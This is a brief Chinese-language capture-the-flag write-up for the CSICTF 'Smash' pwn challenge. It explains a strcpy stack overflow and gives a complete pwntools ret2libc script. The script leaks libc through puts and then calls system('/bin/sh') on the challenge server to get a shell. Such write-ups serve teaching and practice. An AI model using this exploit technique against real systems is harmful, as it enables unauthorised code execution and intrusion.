【CSICTF】Smash WriteUp

作为最后一道pwn题，难度还行
附件直接给了libc文件


main函数里采用动态分配内存来储存输入，无法溢出，但是会将字符串传入say_hello函数中，strcpy函数可以溢出
没有后门函数，考虑采取ret2libc的rop方法，先泄露libc基址，然后返回main函数，再system binsh拿到shell

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='i386'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30046)
#io=process('./hello')
elf=ELF('./hello')
libc=ELF('./libc.so.6')

ra()
sl('a'*(0x84+4)+p32(elf.plt['puts'])+p32(0x804865D)+p32(elf.got['puts']))
rl()
puts_addr=u32(rn(4))
libc_addr=puts_addr-libc.sym['puts']
system_addr=libc_addr+libc.sym['system']
binsh=libc_addr+libc.search('/bin/sh\0').next()
ra()
sl('a'*(0x84+4)+p32(system_addr)+p32(0x804865D)+p32(binsh))

io.interactive()